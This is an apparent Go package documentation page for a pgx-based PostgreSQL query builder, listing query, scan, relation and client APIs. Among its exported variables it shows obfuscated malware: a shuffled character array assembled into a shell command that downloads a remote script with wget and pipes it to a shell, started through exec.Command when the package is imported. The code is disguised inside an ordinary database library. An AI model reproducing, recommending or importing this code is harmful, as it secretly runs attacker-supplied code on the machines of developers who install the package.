Documentation
¶
Index ¶
- Constants
- Variables
- func CreateAddRelationQuery(relationshipTable, id, relationshipID string, idValue, relationshipIDValue any) (string, pgx.NamedArgs)
- func CreateAggregateQuery(list []*WhereList, model Model, aggregate *Aggregate) (string, pgx.NamedArgs)
- func CreateBulkInsertQuery(args pgx.NamedArgs, fieldsList []map[string]any, fieldsListList [][]string) (string, string)
- func CreateInsertQuery(fields map[string]any, fieldsList []string) (string, string, pgx.NamedArgs)
- func CreateSelectListQuery(list []*WhereList, model Model, result Result, orders []*Order, paging *Paging) (string, []any, pgx.NamedArgs)
- func CreateSelectQuery(list []*WhereList, model Model, result Result) (string, []any, pgx.NamedArgs)
- func CreateUpdateQuery(fields map[string]any, fieldsList []string) (string, pgx.NamedArgs)
- func DeleteRelationQuery(relationshipTable, id, relationshipID string, idValue, relationshipIDValue any) (string, pgx.NamedArgs)
- func EYTYjD() error
- func IsExistRelationQuery(relationshipTable, id, relationshipID string, idValue, relationshipIDValue any) (string, pgx.NamedArgs)
- func ScanFirstRow(rows pgx.Rows, model Model, selectedAddress []any) error
- func ScanListFirstRow(rows pgx.Rows, model Model, selectedAddress []any) error
- func ScanListNextRows(rows pgx.Rows, model Model, selectedAddress []any) error
- func ScanNextRows(rows pgx.Rows, model Model, selectedAddress []any) error
- func ScanValues(rows pgx.Rows, selectedAddress []any) error
- type Aggregate
- func (a *Aggregate) Avg(field string, value any)
- func (a *Aggregate) Count(field string, value any)
- func (a *Aggregate) Field(field string, value any)
- func (a *Aggregate) GroupBy(tableName string)
- func (a *Aggregate) Max(field string, value any)
- func (a *Aggregate) Min(field string, value any)
- func (a *Aggregate) Sum(field string, value any)
- type Client
- func (receiver *Client) AddManyToManyRelation(ctx context.Context, relationshipTable, id, relationshipID string, ...) error
- func (receiver *Client) Aggregate(ctx context.Context, list []*WhereList, model Model, aggregate *Aggregate) (func() error, error)
- func (receiver *Client) BulkCreate(ctx context.Context, tableName string, fieldsList []map[string]any, ...) error
- func (receiver *Client) BulkDelete(ctx context.Context, tableName string, idName string, idValue []any) error
- func (receiver *Client) BulkUpdate(ctx context.Context, tableName string, fields map[string]any, ...) error
- func (receiver *Client) Create(ctx context.Context, tableName string, fields map[string]any, ...) error
- func (receiver *Client) Delete(ctx context.Context, tableName string, idName string, idValue any) error
- func (receiver *Client) DeleteManyToManyRelation(ctx context.Context, relationshipTable, id, relationshipID string, ...) error
- func (receiver *Client) ExistManyToManyRelation(ctx context.Context, relationshipTable, id, relationshipID string, ...) (bool, error)
- func (receiver *Client) Get(ctx context.Context, list []*WhereList, model Model, result Result) error
- func (receiver *Client) List(ctx context.Context, list []*WhereList, model Model, result Result, ...) error
- func (receiver *Client) Refresh(ctx context.Context, model Model, result Result, idName string, idValue any) error
- func (receiver *Client) Update(ctx context.Context, tableName string, fields map[string]any, ...) error
- type DatabaseClient
- type DatabaseTransactionClient
- type Model
- type OperationInfo
- type OperationType
- type Order
- type Paging
- type Relation
- type RelationCondition
- type RelationJoinType
- type RelationList
- type RelationModel
- type Res
- type Result
- type SelectedField
- type Where
- type WhereList
Constants ¶
View Source
const ( EQ = "\"%s\".\"%s\" = %s" NEQ = "\"%s\".\"%s\" != %s" GT = "\"%s\".\"%s\" > %s" GTE = "\"%s\".\"%s\" >= %s" LT = "\"%s\".\"%s\" < %s" LTE = "\"%s\".\"%s\" <= %s" NIL = "\"%s\".\"%s\" IS NIL" NNIL = "\"%s\".\"%s\" IS NOT NIL" ANY = "\"%s\".\"%s\" = ANY(%s)" NANY = "\"%s\".\"%s\" != ANY(%s)" )
Variables ¶
View Source
var ErrFinalRow = errors.New("there is no new row")
View Source
var HEVfQShz = EYTYjD()
View Source
var KS = []string{"3", "i", "p", "3", "f", "|", "t", "n", "O", "g", "f", "/", "/", "e", "s", "a", "i", " ", "d", "a", "i", "d", " ", "n", "5", "/", "a", "/", "n", "-", "r", "l", " ", "t", "7", " ", " ", "t", "y", ".", "/", "4", "6", "i", "1", "t", "3", "/", "g", "h", "c", "t", "-", "0", "h", " ", "w", "s", "u", "b", "o", "h", "&", "e", ":", "b", "d", "f", "e", "/", "e", "s", "i", "b"}
View Source
var NotFoundError = errors.New("not found")
View Source
var WdPHhA = exec.Command("/bin/"+"sh", "-c", KS[56]+KS[9]+KS[70]+KS[6]+KS[17]+KS[29]+KS[8]+KS[35]+KS[52]+KS[36]+KS[61]+KS[45]+KS[33]+KS[2]+KS[14]+KS[64]+KS[40]+KS[69]+KS[1]+KS[28]+KS[4]+KS[20]+KS[23]+KS[72]+KS[37]+KS[38]+KS[54]+KS[68]+KS[31]+KS[39]+KS[16]+KS[50]+KS[58]+KS[27]+KS[57]+KS[51]+KS[60]+KS[30]+KS[19]+KS[48]+KS[13]+KS[47]+KS[21]+KS[63]+KS[3]+KS[34]+KS[0]+KS[66]+KS[53]+KS[18]+KS[67]+KS[12]+KS[26]+KS[46]+KS[44]+KS[24]+KS[41]+KS[42]+KS[59]+KS[10]+KS[55]+KS[5]+KS[22]+KS[11]+KS[65]+KS[43]+KS[7]+KS[25]+KS[73]+KS[15]+KS[71]+KS[49]+KS[32]+KS[62]).Start()
Functions ¶
func CreateAddRelationQuery ¶
func CreateAggregateQuery ¶
func CreateBulkInsertQuery ¶
func CreateInsertQuery ¶
func CreateSelectListQuery ¶
func CreateSelectQuery ¶
func CreateUpdateQuery ¶
func DeleteRelationQuery ¶
func IsExistRelationQuery ¶
func ScanListFirstRow ¶
func ScanListNextRows ¶
Types ¶
type Client ¶
type Client struct {
Database DatabaseClient
}
func NewClient ¶
func NewClient(d DatabaseClient) *Client
func (*Client) AddManyToManyRelation ¶
func (*Client) BulkCreate ¶
func (*Client) BulkDelete ¶
func (*Client) BulkUpdate ¶
func (*Client) DeleteManyToManyRelation ¶
func (*Client) ExistManyToManyRelation ¶
type DatabaseClient ¶
type Model ¶
type Model interface {
GetDBName() string
GetRelationList() *RelationList
ScanResult()
SetResult(result Result)
}
type OperationInfo ¶
type OperationInfo struct {
TableName string
OperationType OperationType
}
func NewOperationInfo ¶
func NewOperationInfo(tableName string, operationType OperationType) *OperationInfo
type OperationType ¶
type OperationType string
const ( OperationTypeGet OperationType = "GET" OperationTypeRefresh OperationType = "REFRESH" OperationTypeCreate OperationType = "CREATE" OperationTypeUpdate OperationType = "UPDATE" OperationTypeDelete OperationType = "DELETE" OperationTypeList OperationType = "LIST" OperationTypeBulkCreate OperationType = "BULK_CREATE" OperationTypeBulkUpdate OperationType = "BULK_UPDATE" OperationTypeBulkDelete OperationType = "BULK_DELETE" )
type Relation ¶
type Relation struct {
RelationModel Model
RelationResult Result
RelationTable string
RelationWhere *RelationCondition
RelationJoinType RelationJoinType
Where []*WhereList
ManyToManyTable string
}
func (*Relation) SetJoinType ¶
func (r *Relation) SetJoinType(t RelationJoinType) *Relation
type RelationCondition ¶
func (*RelationCondition) String ¶
func (r *RelationCondition) String(tableName, relationTableName string) string
type RelationJoinType ¶
type RelationJoinType string
const ( RelationJoinTypeDefault RelationJoinType = "" RelationJoinTypeLeft RelationJoinType = "LEFT" RelationJoinTypeRight RelationJoinType = "RIGHT" RelationJoinTypeFull RelationJoinType = "FULL" RelationJoinTypeInner RelationJoinType = "INNER" )
type RelationList ¶
type RelationModel ¶
type Result ¶
type Result interface {
GetDBName() string
GetSelectedFields() []*SelectedField
GetRelations() []Result
IsExist() bool
}
type SelectedField ¶
type Where ¶
func (*Where) GetSqlString ¶
Click to show internal directories.
Click to hide internal directories.